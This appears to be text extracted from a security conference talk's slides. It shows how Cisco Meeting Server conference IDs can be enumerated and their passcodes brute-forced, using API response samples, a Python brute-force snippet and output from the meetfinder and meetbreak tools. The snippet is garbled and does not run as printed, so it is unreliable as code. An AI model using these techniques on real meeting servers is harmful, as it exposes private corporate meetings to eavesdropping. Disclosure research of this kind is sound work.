M33TFINDER: DISCLOSING CORPORATE SECRETS VIA VIDEOCONFERENCES

Ing. Yamila Levalle @ylevalle
New mission

THIS MISSION IS IMPOSSIBLE?

Bitch please!
SSL Certificate

Issued By:
- Common Name: HydrantD SSL ICA G2
- Organization: HydrantD (Avalanche Cloud Corporation)

Issued To:
- Common Name: acme.cisco.com
- Organization: Cisco Systems, Inc.

Supported SSL Versions
TLSv1.2

Nmap done: 1 IP address (1 host up) scanned in 187.35 seconds

Not shown: 986 filtered ports, 90 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
5222/tcp open xmpp-client
5269/tcp open xmpp-server

Cisco Meeting Server, Meeting App, and Meeting Management for Audio, Web and Video Conferencing Data Sheet

**Product Overview**

Cisco® Meeting Server brings video, audio, and web communication together to meet the collaboration needs of the modern workplace. The Cisco Meeting App allows anyone to create, join, and run meetings easily, from room or desktop video systems, mobile clients, or browsers. Cisco Meeting Management allows operators to monitor and control meetings, providing a white-glove service.

Cisco Meeting Server helps ensure that everyone gets a consistent, familiar meeting experience, whether they're joining a meeting using Cisco or third-party video endpoints, a Cisco Jabber® client, Cisco Meeting App (native or via a WebRTC-compatible browser), or Skype for Business. Any number of people can join a meeting, up to the maximum limit supported by the cluster, and bandwidth usage is optimized to reduce cost. Cisco Meeting Server provides a user experience that is simple, intuitive, and easy. It scales easily for small or large deployments, allowing capacity to be added incrementally as needed. The all-in-one, user-based licensing model allows you to buy the services you need today and add more licenses as your organization grows. Combined, Cisco Meeting Server and its licensing model provide you with flexibility to meet the changing needs of your organization.
Cisco Meeting Server
A Single Meetings Platform – Where everyone is invited

Cisco Meeting Server Architecture
Common Deployment Architecture

Cisco Meeting Server
WebRTC & Browser Access

Key features
- Anyone can join, no plugins
- Chrome, Firefox, Opera
- Internet Explorer, Safari, Edge
  (via Cisco Meeting Apps – iOS, OSX, Windows)
- Bidirectional content
- Guest access or User login
- In App control
  - Ability to invite others
  - Easily create new Spaces
  - Device mobility and flexibility
  - Integrated meeting recording
Figure 2. WebRTC Protocol Stack
LEGACY CONFIGURATION

VALID RANGE

WRONG PASSCODE

EXISTENT MEETING AND CORRECT PASSCODE

```
{
  "response": "failure",
  "reason": "invalidConferenceIdOrPasscode"
}
```

```
{
  "response": "failure",
  "reason": "unknownConference"
}
```

```
{
  "response": "failure",
  "reason": "invalidPasscode"
}
```

```
{
  "response": "success",
  "name": "",
  "conferenceGuid": "null",
  "passcode": "false",
  "sourceGuid": "1f51f606-cabe-4e80-99ec-681971320461",
  "conferenceId": "6000038",
  "phoneNumber": "null",
  "videoAddress": "6000038@",
  "weblink": "null",
  "resolutionGuid": "3e30b939-296c-40a5-94b3-ec90523207be"
}
```
### Table 6: Resolved Issues in version 2.5.0

<table>
<thead>
<tr>
<th>Cisco ID</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSCvm69362</td>
<td>Unable to dial numbers in DTMF keypad in WebRTC app from Google Chrome browsers.</td>
</tr>
<tr>
<td>CSCvm99755</td>
<td>Unable to send or receive presentation from WebRTC app running on Firefox browsers (Windows) during meetings with Cisco TelePresence endpoints.</td>
</tr>
<tr>
<td>CSCvm52727</td>
<td>During a meeting, guest users are unable to select the help icon from WebRTC app (Windows).</td>
</tr>
<tr>
<td>CSCvk55917</td>
<td>If the screen layout option is changed to 'Audio only' and then to 'Presentation and Video', shared content is not displayed in Meeting App on Safari (macOS) browsers.</td>
</tr>
<tr>
<td>CSCv11272</td>
<td>Language in Meeting App not changing to Japanese when selection is made from Firefox.</td>
</tr>
<tr>
<td>CSCvm56083</td>
<td>Joining a meeting by pairing with an endpoint causes the WebRTC app to blank out.</td>
</tr>
<tr>
<td>CSCvk51775</td>
<td>Unable to rejoin a call from the Recents list.</td>
</tr>
<tr>
<td><strong>CSCvk16348</strong></td>
<td><strong>In legacy mode, a guest is able to join a meeting without entering the passcode.</strong></td>
</tr>
<tr>
<td>CSCvn59240</td>
<td>If you join a call using the Safari browser to open the WebRTC app, but then open another tab in the browser with another web page displayed, Safari will stop sending video to the other participants in the conference. Sending video is resumed if you switch back to the tab containing the WebRTC app.</td>
</tr>
</tbody>
</table>
async def do_reg(url, semaphore):
    async with semaphore:
        async with aiohttp.ClientSession() as session:

            try:
                async with session.post(url, json={'id': str(id_call), 'passcode': ''}, verify_ssl=False) as query:

                async with session.post(urllogin, json={'name': 'test', 'passcode': str(line), 'guid': response['conferenceGuid'], 'command': data - await query.json()})

                if data['reason'] == "UnsupportedBrowser" or data['reason'] == "success" or data['reason'] == "systemError":
                    print("["]
                    print("[+] Conference Passcode Guessed: " + str(line))
                    print("["]")
MEETFINDER

usage: meetfinder.py <targeturl>

date example: meetfinder.py https://meet.example.com

[*] Conference ID Range Start Detected: 1000
[*] Conference Call Detected!
[*] ID: 1001
[*] Name: ACME Meeting 1001
[*] Video Address: 1001@meet.acme.com
[*] Conference GUID: None
[*] Source GUID: 33332209-6450-4313-8b5b-fe13d2d2ff4f
[*] Resolution GUID: 3802764e-ea03-49d0-9e2d-50f88b072f43
[*] Passcode: False
[*] Phone Number: None
[*] Weblink: None

[*] Conference Call Detected!
[*] ID: 1337
[*] Name: ACME World Domination
[*] Video Address: 1337@meet.acme.com
[*] Conference GUID: None
[*] Source GUID: 1f51f606-cabe-4e00-99ec-881971320461
[*] Resolution GUID: 61a6bdf7-9dc4-4dce-9ecb-2e1bc8e1fa4
[*] Passcode: True
[*] Phone Number: None
[*] Weblink: None

[*] Conference Passcode Guessed: 0900

MEETBREAK

usage: meetbreak.py <targeturl> <conferenceid>

date example: meetbreak.py https://meet.example.com 5901

[*] Conference Call Detected!
[*] ID: 1337
[*] Name: ACME World Domination
[*] Video Address: 1337@meet.acme.com
[*] Conference GUID: None
[*] Source GUID: 1f51f606-cabe-4e00-99ec-881971320461
[*] Resolution GUID: 61a6bdf7-9dc4-4dce-9ecb-2e1bc8e1fa4
[*] Passcode: True
[*] Phone Number: None
[*] Weblink: None

[*] Conference Passcode Guessed: 0900

storm@sc3r3t:/Downloads/m33tfinder$ python meetfinder.py https://meet.acme.com

storm@sc3r3t:/Downloads/m33tfinder$ python meetbreak.py https://meet.acme.com 1337